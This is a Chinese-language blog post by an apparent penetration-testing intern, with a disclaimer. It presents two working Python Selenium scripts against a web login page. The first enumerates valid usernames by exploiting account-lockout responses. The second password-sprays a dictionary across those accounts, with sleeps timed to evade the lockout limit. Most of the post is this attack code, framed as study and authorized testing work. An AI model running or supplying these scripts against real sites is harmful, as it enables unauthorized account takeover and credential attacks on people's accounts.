免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
背景:实习的第二个周的第二个评估网站项目,很明显,这里没有验证码(有验证码的情况也可以用这个方法,具体可以在网上去学习),但是通过抓包账号密码很明显是被加密过的,本来想着通过前端js逆向加密算法,但老大叫我和另一个新入职的同事一人用一种方法,叫我去学习一下python的selenium模块(其实我对逆向前端js也不怎么会)。然后今天告诉我多发点文章,多和别人交流,也就有了这篇文章,也是我人生中第一次在互联网上发表文章,界面如下(由于是实际案例,我就不上完整的图了)。
关于selenium:这里不做过多赘述,旧版本的也直接过掉,简单说一下安装及使用方法。
安装:pip install selenium
定位元素:ID定位,NAME定位,Class Name定位,Tag Name定位, Link Text定位,Partial Link Text定位,CSS Selector定位,XPATH定位。
个人最喜欢的也认为是最有用的是最后一种,其他的不做赘述(你随便打开一个网站f12都会发现很多重名的标签,使用必定报错),为什么我喜欢最后一种,因为方便且准确,如下图。直接选中你要定位的地方,鼠标右键复制就有XPATH。
直接上代码(第一次写文章写到这儿不知道怎么编下去了,慢慢学习)
枚举用户名:****思路是一个账号在3分钟以内只能登录5次,也就是36s一次,我设置一个账号连续登录6次,如果被锁了,页面就不会弹用户名或密码错误,就可以枚举出用户名(这个用户名是有规律的,可以用python来生成,这里涉及公司,我就不展示了),并保存到字典。
import time
import selenium.webdriver# 导入selenium库
from selenium.webdriver.common.by import By# 导入By类,用于指定元素定位方式
def login(username,password):
username1=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[1]/input')#这里是对用户名框定位
password1=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[2]/input')#对密码框进行定位
username1.send_keys(username)#输入用户名
password1.send_keys(password)#输入密码
login=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[3]/span')#对登录按钮进行定位
login.click()#点击登录按钮
username1.clear()#清空用户名框
password1.clear()#清空密码框
time.sleep(0.5)#这里sleep()的原因是因为如果跑的太快的话下面的代码会有误报
islogin=web.page_source.find("用户名或密码错误")==-1#3分钟内相同的账号连续输入错误5次密码账户会锁定3分钟,页面就不会“弹出用户名或密码错误”
return islogin
def user():
try:
user=open("C:\\Users\\Admin\\Desktop\\aaa.txt", "r")#用户名字典
while True:
password=open("C:\\Users\\Admin\\Desktop\\pass.txt","r")#这里的密码其实可以不用字典,随便用一个一眼看上去就是错误的密码就行,因为是对用户名进行枚举
userline=user.readline()
if not userline:
break
userlist=userline.split("\n")
for i in range(6):#相同的帐号连续登录6次,第六次如果被封锁了那么就是正确的账号,不存在的账号可以无限登
passline=password.readline()
if not passline:
break
passlist=passline.split("\n")
islogin=login(userlist[0],passlist[0])
print(userlist[0],passlist[0],islogin)
if islogin:#如果返回结果为真,即页面没有弹出用户名或密码错误,那么这个用户名就是存在的
with open("C:\\Users\\Admin\\Desktop\\user.txt","a",encoding="utf-8") as f:#将枚举出来的用户名进行保存
f.write(userlist[0])
f.write("\n")
except:#这里设置异常的原因主要是因为我老是直接关闭打开的浏览器,就会报错一片红,看着就烦躁所以就加了。
print("退出")
if __name__=="__main__":
web=selenium.webdriver.Edge()# 创建Edge浏览器对象
web.get("www.xxx.com")#设置要访问的网址,并打开网址。
user()
用户名枚举结果:
import threading
import selenium.webdriver# 导入selenium库
from selenium.webdriver.common.by import By# 导入By类,用于指定元素定位方式
import datetime
import time
def loginoa(username,password):
user=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[1]/input')#这里是对用户名框定位
pw=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[2]/input')#对密码框进行定位
user.send_keys(username)#输入用户名
pw.send_keys(password)#输入密码
login=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[3]/span')#对登录按钮进行定位
login.click()#点击登录按钮
user.clear()#清空用户名框
pw.clear()#清空密码框
islogin=driver.page_source.find("退出")!=-1#判断登录状态,这个方法是对页面中
return islogin
def mima():
try:
passfile=open("C:\\Users\\Admin\\Desktop\\pass.txt","r")#密码字典
while True:
starttime = datetime.datetime.now()#开始时间
user = open("C:\\Users\\Admin\\Desktop\\aaa.txt", "r")#用户名字典
passline=passfile.readline()
if not passline:
break
passlist=passline.split("\n")
#userline=user.readline()
#if not userline:
#break
#userlist=userline.split("\n")
while True:
userline=user.readline()
userlist=userline.split("\n")
if not userline:
break
#passline=passfile.readline()
#if not passline:
#break
#passlist=passline.split("\n")
islogin=loginoa(userlist[0],passlist[0])
print("用户名:"+userlist[0],"密码:"+passlist[0],"login",islogin)
endtime = datetime.datetime.now()#结束时间
a = (endtime-starttime).seconds#时间差
b=36-a#这里是因为一个账号3分钟内只能登录5次,也就是36s一次,如果同一个账号在36s以内执行第二次,那么就先sleep(b)
if b<=36 and b>=0:
time.sleep(b)
print("我睡了:",b,"s")
except:
print("结束")
if __name__=="__main__":
driver = selenium.webdriver.Edge()# 创建Edge浏览器对象
driver.get("http://www.xxx.com")#设置要访问的网址,并打开网址。
a=threading.Thread(target=mima,args='')
a.start()
运行效果:先遍历账号以相同的密码进行组合登录(因为一个账号只能36s登一次)
结语:由于第一次写文章没什么经验,专业能力还差很多,我也是在老大的鼓励下,才敢写一点关于自己的三脚猫都算不上的专业知识,如有错误或可以改进的地方,请各位大佬斧正!
版权归原作者 小洋仔0 所有, 如有侵权,请联系我们删除。